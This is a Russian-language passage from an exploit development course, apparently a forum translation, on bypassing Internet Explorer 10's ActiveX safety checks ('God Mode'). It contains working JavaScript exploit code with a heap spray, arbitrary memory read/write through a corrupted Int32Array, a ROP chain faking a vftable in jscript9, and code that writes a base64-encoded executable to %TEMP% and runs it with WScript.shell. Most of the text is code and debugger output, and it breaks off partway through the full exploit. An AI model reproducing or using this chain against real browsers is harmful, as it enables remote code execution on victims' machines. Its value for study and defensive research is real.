R0 CREW

Exploit Development Course Part 16 [Internet Explorer 10]: God Mode Part II (Перевод: klaus)

ru
#1

Перейти к содержанию

IE10: God Mode Part II

Закрепление «Режима Бога»

Перед тем как делать что то радикальное, давайте найдем место где падает IE. Для этого добавим несколько алертов в коде (комментарии в коде сохранили свой вид по причине их перевода в предыдущих частях и ради близкого ознакомления читателя с работой автора):

function createExe(fname, data) {
      alert("3");           // <------------------------------------------
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      alert("4");           // <------------------------------------------
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
      // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
    alert("1");         // <------------------------------------------
    shell = new ActiveXObject("WScript.shell");
    alert("2");         // <------------------------------------------
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    write(mshtml+0xc555e0+0x14, old);      // God mode off!
 
    alert("All done!");

Теперь перезагрузим страницу в IE (перейдя на 127.0.0.1), изменим длину Int32Array по адресу 0xc0af000 и посмотрим что случится. Вы должны увидеть все три алерта от 1 до 3 и потом падение IE. Следуя из этого мы можем с уверенностью сказать что падение происходит на следующем участке кода:

      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");

Но почему здесь нету никаких проблем с WScript.shell?

До этого надо немного подумать: ADODB.Stream был отключен Майкрософтом! Возможно что-то случилось в jscript9!ScriptSite::CreateObjectFromProgID… Давайте посмотрим.

Повторите процесс и, когда появятся все три алерта, установите точку останова на jscript9!ScriptSite::CreateObjectFromProgID. Во время отладки войдем внутрь функции CreateObjectFromProgID:

jscript9!ScriptSite::CreateObjectFromProgID:
04f3becb 8bff            mov     edi,edi
04f3becd 55              push    ebp
04f3bece 8bec            mov     ebp,esp
04f3bed0 83ec34          sub     esp,34h
04f3bed3 a144630f05      mov     eax,dword ptr [jscript9!__security_cookie (050f6344)]
04f3bed8 33c5            xor     eax,ebp
04f3beda 8945fc          mov     dword ptr [ebp-4],eax
04f3bedd 53              push    ebx
04f3bede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04f3bee1 56              push    esi
04f3bee2 33c0            xor     eax,eax
04f3bee4 57              push    edi
04f3bee5 8b7d08          mov     edi,dword ptr [ebp+8]
04f3bee8 8bf2            mov     esi,edx
04f3beea 8975dc          mov     dword ptr [ebp-24h],esi
04f3beed 8945cc          mov     dword ptr [ebp-34h],eax
04f3bef0 897dd0          mov     dword ptr [ebp-30h],edi
04f3bef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04f3bef6 8945d8          mov     dword ptr [ebp-28h],eax
04f3bef9 8945e8          mov     dword ptr [ebp-18h],eax
04f3befc 85ff            test    edi,edi
04f3befe 0f85e26a1600    jne     jscript9!memset+0xf390 (050a29e6)
04f3bf04 8b4604          mov     eax,dword ptr [esi+4]
04f3bf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04f3bfe1)
04f3bf0c 85c0            test    eax,eax
04f3bf0e 8d45ec          lea     eax,[ebp-14h]
04f3bf11 50              push    eax
04f3bf12 51              push    ecx
04f3bf13 0f84d86a1600    je      jscript9!memset+0xf39b (050a29f1)
04f3bf19 ff1508400e05    call    dword ptr [jscript9!_imp__CLSIDFromProgID (050e4008)]
04f3bf1f 85c0            test    eax,eax
04f3bf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)
04f3bf27 8d45ec          lea     eax,[ebp-14h]
04f3bf2a 50              push    eax
04f3bf2b 8b4604          mov     eax,dword ptr [esi+4] ds:002b:02facc44=02f8c480
04f3bf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04f3c315)   <------------------
04f3bf33 85c0            test    eax,eax       <------------------ EAX = 0
04f3bf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04f0270f)  <----- je taken!
.
.
.
04f0270f bead010a80      mov     esi,800A01ADh
04f02714 e99d980300      jmp     jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04f3bfb6)
.
.
.
04f3bfb6 8b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:03feb55c=91c70f95
04f3bfb9 5f              pop     edi
04f3bfba 8bc6            mov     eax,esi
04f3bfbc 5e              pop     esi
04f3bfbd 33cd            xor     ecx,ebp
04f3bfbf 5b              pop     ebx
04f3bfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e6133e)
04f3bfc5 c9              leave
04f3bfc6 c20800          ret     8

Как видно из кода, CanCreateObject возвращает 0 и уже знакомая нам функция CanObjectRun даже не вызывается. Что случится если мы заставим CanCreateObject возвращать true (EAX = 1)? Попробуйте повторить весь процесс, но в этот раз, сразу после вызова CanCreateObject, установите EAX в 1 (используя r eax=1). Помните то, что вам надо сделать это дважды, потому что мы создали два ADODB.Stream объекта.

Сейчас появился алерт с 4 но после его закрытия всё упало. Почему мы не пытаемся держать Режим Бога включенным только тогда, когда это действительно необходимо?

Изменим немного код:

var old = read(mshtml+0xc555e0+0x14);
 
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AA <snipped> AAAAAAAAAAAAAAAAAAAAA';
    function createExe(fname, data) {
      write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      write(mshtml+0xc555e0+0x14, old);                   // God mode off!
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
      // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on!
    shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God mode off!
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    alert("All done!");

Попробуем снова загрузить страницу и установить EAX в 1 сразу после вызова CanCreateObject. В этот раз установим точку останова прямо на CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

Когда сработает точка останова, нажмите Shift + F11 и потом установите EAX в 1 (в первый раз там уже будет 1). ОК, теперь ничего не падает но и калькулятора не видно. Если вы повторите процесс с включенным Developer Tools то увидите следующую ошибку:

Пока что оставим эту ошибку в покое. Сейчас мы должны быть рады тому, что почти решили проблему с Режимом Бога. Нам всё еще надо изменить поведение CanCreateObject так, что бы эта функция всегда возвращала true. Снова повторим весь процесс и поставим точку останова на CanCreateObject. Когда она сработает, надо изучить CanCreateObject:

jscript9!ScriptEngine::CanCreateObject:
04dcc315 8bff            mov     edi,edi
04dcc317 55              push    ebp
04dcc318 8bec            mov     ebp,esp
04dcc31a 51              push    ecx
04dcc31b 51              push    ecx
04dcc31c 57              push    edi
04dcc31d 8bf8            mov     edi,eax
04dcc31f f687e401000008  test    byte ptr [edi+1E4h],8
04dcc326 743d            je      jscript9!ScriptEngine::CanCreateObject+0x50 (04dcc365)
04dcc328 8d45fc          lea     eax,[ebp-4]
04dcc32b 50              push    eax
04dcc32c e842000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04dcc373)
04dcc331 85c0            test    eax,eax
04dcc333 7835            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a) [br=0]
04dcc335 8b45fc          mov     eax,dword ptr [ebp-4]
04dcc338 8b08            mov     ecx,dword ptr [eax]        <------------------ ecx = object.vftptr
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx                                            +---------------------
04dcc349 6800120000      push    1200h                                          |
04dcc34e 50              push    eax                                            v
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave
04dcc362 c20400          ret     4

Посмотрите на виртуальный вызов по адресу 04dcc34f: мы можем использовать тот же прием что использовали с CanObjectRun! Как и до этого, EAX указывает на vftable:

0:007> dds ecx
6ac755e0  6a0b2681 MSHTML!PlainQueryInterface
6ac755e4  6a0b25a1 MSHTML!CAPProcessor::AddRef
6ac755e8  6a08609d MSHTML!PlainRelease
6ac755ec  6a078eb5 MSHTML!TearoffThunk3
6ac755f0  6a25604a MSHTML!TearoffThunk4           <----------- нам надо изменить это для CanCreateObject
6ac755f4  04dcc164 jscript9!ScriptEngine::CanObjectRun+0xaf   <---------- это наш фикс для CanObjectRun!
6ac755f8  6a129a77 MSHTML!TearoffThunk6
6ac755fc  6a201a73 MSHTML!TearoffThunk7
6ac75600  6a12770c MSHTML!TearoffThunk8
6ac75604  6a12b22c MSHTML!TearoffThunk9
6ac75608  6a12b1e3 MSHTML!TearoffThunk10
6ac7560c  6a257db5 MSHTML!TearoffThunk11
6ac75610  6a12b2b8 MSHTML!TearoffThunk12
6ac75614  6a332a3d MSHTML!TearoffThunk13
6ac75618  6a242719 MSHTML!TearoffThunk14
6ac7561c  6a254879 MSHTML!TearoffThunk15
6ac75620  6a12b637 MSHTML!TearoffThunk16
6ac75624  6a131bf3 MSHTML!TearoffThunk17
6ac75628  6a129649 MSHTML!TearoffThunk18
6ac7562c  6a4a8422 MSHTML!TearoffThunk19
6ac75630  6a58bc4a MSHTML!TearoffThunk20
6ac75634  6a1316d9 MSHTML!TearoffThunk21
6ac75638  6a2e7b23 MSHTML!TearoffThunk22
6ac7563c  6a212734 MSHTML!TearoffThunk23
6ac75640  6a2e75ed MSHTML!TearoffThunk24
6ac75644  6a4c28c5 MSHTML!TearoffThunk25
6ac75648  6a3c5a7d MSHTML!TearoffThunk26
6ac7564c  6a3a6310 MSHTML!TearoffThunk27
6ac75650  6a3bff2d MSHTML!TearoffThunk28
6ac75654  6a3aa803 MSHTML!TearoffThunk29
6ac75658  6a3cd81a MSHTML!TearoffThunk30
6ac7565c  6a223f19 MSHTML!TearoffThunk31

Как видите, это та же vftable которую мы модифицировали для CanObjectRun. Теперь нам надо изменить [ecx+10h] для CanCreateObject. Мы можем попробовать переписать [ecx+10h] адресом эпилога CanCreateObject, но это не будет работать. Проблема в том, что нам надо обнулить EDI перед тем как мы вернемся из CanCreateObject. Представление кода сразу после вызова CanCreateObject:

04ebbf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04ebc315)
04ebbf33 85c0            test    eax,eax
04ebbf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04e8270f)
04ebbf3b 6a05            push    5
04ebbf3d 58              pop     eax
04ebbf3e 85ff            test    edi,edi
04ebbf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050229fc)      <----------------- сработает если EDI != 0

Если jne сработает, то CreateObjectFromProgID и CreateActiveXObject завалят работу.

Я более часа искал, но так и не нашел подходящего кода. Что то вроде такого:

xor   edi, edi
leave
ret   4

было бы в тему, но такого не существует. Я продолжил искать другие варианты но тоже безрезультатно. Я также искал такое:

mov   dword ptr [edx], 0
ret   20h

и его вариации. Этот код имитировал бы вызов оригинальной функции и очищал бы [ebp-8]. Этим способом CanCreateObject возвращал бы true:

04dcc338 8b08            mov     ecx,dword ptr [eax]
04dcc33a 6a00            push    0
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]      <---------- edx = ebp-8
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  ds:002b:6ac755f0={MSHTML!TearoffThunk4 (6a25604a)}
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh      <-------- если [ebp-8] == 0, тогда ...
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al                 <-------- ... тогда EAX = 1
04dcc360 5f              pop     edi                <-------- восстановить EDI (был 0)
04dcc361 c9              leave
04dcc362 c20400          ret     4

Это так же очистило бы EDI из-за того что EDI был в нуле при вызове CanCreateObject.

Далее, я попробовал провернуть ROP. Начал искать что-то похожее на это:

xchg  ecx, esp
ret

К сожалению, поиски не увенчались успехом. Если только мы могли бы управлять некотроым регистром рядом с ECX

Ну, получается, что мы можем контролировать EAX и xchg eax, esp gadgets определенно более общие нежели просто xchg ecx, esp гаджет.

Схема которую будем использовать:

Мы уже знаем что CanCreateObject и CanObjectRun вызывают виртуальные функции из одной и той же VFTable. Вы можете легко проверить что они не только вызывают функции из той же таблицы, но и вызывают их из того же самого объекта. Это так же показано на схеме выше.

Посмотрим еще раз на соответствующий код в CanCreateObject:

04dcc338 8b08            mov     ecx,dword ptr [eax]  <----------- мы котролируем EAX, который указывает на "object"
04dcc33a 6a00            push    0            <----------- теперь, ECX = object."vftable ptr"
04dcc33c 6a00            push    0
04dcc33e 6a10            push    10h
04dcc340 ff7508          push    dword ptr [ebp+8]
04dcc343 8d55f8          lea     edx,[ebp-8]
04dcc346 6a04            push    4
04dcc348 52              push    edx
04dcc349 6800120000      push    1200h
04dcc34e 50              push    eax
04dcc34f ff5110          call    dword ptr [ecx+10h]  <----------- вызов gadget 1 (на картинке)
04dcc352 85c0            test    eax,eax
04dcc354 7814            js      jscript9!ScriptEngine::CanCreateObject+0x55 (04dcc36a)
04dcc356 f645f80f        test    byte ptr [ebp-8],0Fh
04dcc35a 6a00            push    0
04dcc35c 58              pop     eax
04dcc35d 0f94c0          sete    al
04dcc360 5f              pop     edi
04dcc361 c9              leave        <----------- это gadget 4
04dcc362 c20400          ret     4

Первый гаджет при вызове делает ESP указателем на object+4 и возвращает gadget 2. После гаджетов 2 и 3, EDI в нуле а EAX не 0. Гаджет 4 восстаналивает ESP и возвращаемся из CanCreateObject.

Вот javascript код для настройки объекта и vftable как на картинке:

//                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    // If we do "write(pp_obj, X)", we'll have EAX = X in CanCreateObject
    var pp_obj = ... ptr to ptr to object ...
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }

Код должен быть легок для понимания. Мы создаем object (new_object) и vftable (new_vftable) используя два Int32Arrays (в частности, их буферы необработанных данных) и проводим object к указателю на vftable. Помните что наша vftable это модифицированная копия старой vftable. Возможно не стоило делать копии, так как там используются только два поля (по смещению 0x10 и 0x14), но это не помешает.

Теперь мы можем включить Режим Бога сделав EAX указателем на наш объект и отключить его сделав EAX указателем на оригинальный объект.

Контроль EAX

Что бы увидеть, можем ли мы контролировать EAX, нам надо разобраться с тем, откуда поступает значение EAX. Я утверждал, что EAX может контролироваться и показывал как мы можем заэксплоитить это сделав ROP. Теперь ннаступило время показать как именно EAX можно контроллировать. В реале, это та вещь которую вы должны сделать первым делом. Сперва вы должны определить сможете ли вы что-то контролировать, а затем уже писать для этого код.

Конечно, это возможно сделать в WinDbg, но для таких вещей лучше подходить IDA Pro.

IDA очень умный дизассемблер. Главная особенность в том, что она интерактивна, а это значит что после завершения дизассемблирования кода мы можем манипулировать результатом. К примеру, можно исправлять неточности дизассемблирования, добавлять комментарии, определять структуры и т.д.
Если вы хотите сделать карьеру вирусного аналитика или разработчика эксплойтов, вам определенно надо разобраться с IDA или купить её Pro версию.

CanCreateObject в jscript9. Найдем путь к модулю в WinDbg:

0:015> lmf m jscript9
start    end        module name
71c00000 71ec6000   jscript9 C:\Windows\SysWOW64\jscript9.dll

Откройте jscript9.dll в IDA и, если надо будет, укажите путь для баз которые создает IDA. При запросе, раазрешите скачивать символы для jscript9.dll. Нажмите Ctrl + P (прыжок к функции), нажмите на Search и введите CanCreateObject.

Теперь CanCreateObject должна быть выбрана так, как показано на рисунке:

После того как вы дважды кликните по ней, вы должны увидеть граф функции CanCreateObject. Если вы видите линейный код нажмите пробел. Переименовать символ можно кликнув на него или нажав n. У IDA’ы есть полезный функционал: когда выделяешь текст, вы совпадения подсвечиваются. Это полезно для отслеживания некоторых вещей.

Посмотрим на следующее изображение:

Ясно что [ebp+object] (я переименовал var_4 в object) модифицирован внутри ?GetSiteHostSecurityManagerNoRef.

Посмотрим на функцию:

Как видите, наша переменная object переписана значением [edi+1F0h]. Мы также видим, что если [edi+1F0h] равно 0, тогда произошла инициализация.

Нам нужно запомнить этот факт для дальнейшей работы. Теперь, когда мы знаем что нам надо следить за EDI, посмотрим еще раз на CanCreateObject:

Что бы увидеть какой код вызывает CanCreateObject, кликните по любому месту указанному на картинке и нажмите Ctrl + X. Далее выделите только показанные функции. Мы снова в CreateObjectFromProgID:

Вот что мы разузнали за всё это время:

esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Теперь нам надо попасть к тому, кто вызывал CreateObjectFromProgID и следовать за EDX. Для этого кликните по сигнатуре CreateObjectFromProgID и прожмите Ctrl + X. Вы должны увидеть две опции: конечно же, выберите CreateActiveXObject.

Теперь мы внутри CreateActiveXObject:

Обновим нашу маленькую схему:

esi = arg0
edx = esi
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Теперь надо следовать за первым аргументом переданном в CreateActiveXObject. Как и прежде, перейдем к коду который вызывает CreateActiveXObject. Смотрим на следующее изображение (я сгруппировал некоторые узлы для компактности):

После этого, наша схема приобретет полный вид:

eax = arg_0
eax = [eax+28h]
edx = eax
esi = edx
eax = [esi+4]
edi = eax
object = [edi+1f0h]

Теперь мы должны следовать за первым аргументом переданным в JavascriptActiveXObject::NewInstance. Когда мы кликнем на его сигнатуре и прожмем Ctrl + X мы увидим ссылки которые нам не знакомы. Время вернутся в WinDbg.

Откройте в IE страницу со следующим кодом:

<html>
<head>
<script language="javascript">
  alert("Start");
  shell = new ActiveXObject("WScript.shell");
  shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>

Установите точку останова на CanCreateObject:

bp jscript9!ScriptEngine::CanCreateObject

Когда она сработает, зайдем внутрь функции прожав Shift + F11, пока мы еще не попали в jscript9!Js::InterpreterStackFrame::NewScObject_Helper.

Вы увидите следующее:

045725c4 890c82          mov     dword ptr [edx+eax*4],ecx
045725c7 40              inc     eax
045725c8 3bc6            cmp     eax,esi
045725ca 72f5            jb      jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xc2 (045725c1)
045725cc ff75ec          push    dword ptr [ebp-14h]
045725cf ff75e8          push    dword ptr [ebp-18h]
045725d2 ff55e4          call    dword ptr [ebp-1Ch]
045725d5 8b65e0          mov     esp,dword ptr [ebp-20h] ss:002b:03a1bc00=03a1bbe4   <--------- we're here!
045725d8 8945d8          mov     dword ptr [ebp-28h],eax
045725db 8b4304          mov     eax,dword ptr [ebx+4]
045725de 83380d          cmp     dword ptr [eax],0Dh

Теперь мы видим почему IDA не смогла отследить этот вызов: он динамический. А это значит что местоположение вызова не статично.

Изучим первый аргумент:

0:007> dd poi(ebp-18)
032e1150  045e2b70 03359ac0 03355520 00000003
032e1160  00000000 ffffffff 047c4de4 047c5100
032e1170  00000037 00000000 02cc4538 00000000
032e1180  0453babc 00000000 00000001 00000000
032e1190  00000000 032f5410 00000004 00000000
032e11a0  00000000 00000000 00000000 00000000
032e11b0  04533600 033598c0 033554e0 00000003
032e11c0  00000000 ffffffff 047c4de4 047c5660

Первое значение может быть указателем на vftable. Давайте посмотрим:

0:007> ln 045e2b70
(045e2b70)   jscript9!JavascriptActiveXFunction::`vftable'   |  (04534218)   jscript9!Js::JavascriptSafeArrayObject::`vftable'
Exact matches:
    jscript9!JavascriptActiveXFunction::`vftable' = <no type information>

И действительно, мы правы! Более того, JavascriptActiveXFunction это функция ActiveXObject которую мы использовали для создания ActiveX объектов! Это наша отправная точка.

Из этого видна такая схема:

X = адрес ActiveXObject
X = [X+28h]
X = [X+4]
object = [X+1f0h]

Проверим являются ли наши находки истинными. Для это используем следующий код:

<html>
<head>
<script language="javascript">
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000; ++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Откройте его в IE и изучите в WinDbg память по адресу 0xadd0000 (или выше, если захотите). Память должна быть заполнена адресами ActiveXObject. В моем случае адрес этот соответствует 03411150. Получим адрес объекта:

0:002> ? poi(03411150+28)
Evaluate expression: 51132616 = 030c38c8
0:002> ? poi(030c38c8+4)
Evaluate expression: 51075360 = 030b5920
0:002> ? poi(030b5920+1f0)
Evaluate expression: 0 = 00000000

Адрес – 0. Что? Смотрим еще раз на изображение:

Для инициализации указателя на object нам надо вызвать CanCreateObject, т.е. нам надо создать объект ActiveX. Изменим немного javascript код:

<html>
<head>
<script language="javascript">
  new ActiveXObject("WScript.shell");
  a = new Array(0x2000);
  for (var i = 0; i < 0x2000; ++i) {
    a[i] = new Array((0x10000 - 0x20)/4);
    for (var j = 0; j < 0x1000; ++j)
      a[i][j] = ActiveXObject;
  }
  alert("Done");
</script>
</head>
<body>
</body>
</html>

Повторите процесс и попробуйте еще раз получить адрес объекта:

0:005> ? poi(03411150+28)
Evaluate expression: 51459608 = 03113618
0:005> ? poi(03113618+4)
Evaluate expression: 51075360 = 030b5920
0:005> ? poi(030b5920+1f0)
Evaluate expression: 6152384 = 005de0c0
0:005> dd 005de0c0
005de0c0  6d0f55e0 00000001 6c4d7408 00589620
005de0d0  6c532ac0 00000000 00000000 00000000
005de0e0  00000005 00000000 3fd6264b 8c000000
005de0f0  005579b8 005de180 005579b8 5e6c858f
005de100  47600e22 33eafe9a 7371b617 005a0a08
005de110  00000000 00000000 3fd62675 8c000000
005de120  005882d0 005579e8 00556e00 5e6c858f
005de130  47600e22 33eafe9a 7371b617 005ce140
0:005> ln 6d0f55e0
(6d0f55e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6d0f5ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>

Замечательно: теперь это работает!

Теперь можно закончить наш javascript код:

var old = read(mshtml+0xc555e0+0x14);
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // указатель на object

Обратите внимание, что мы можем использовать «старый» Режим Бога для создания WScript.shell без показа предупреждающих сообщений.

Полный код:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
    a = new Array();
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
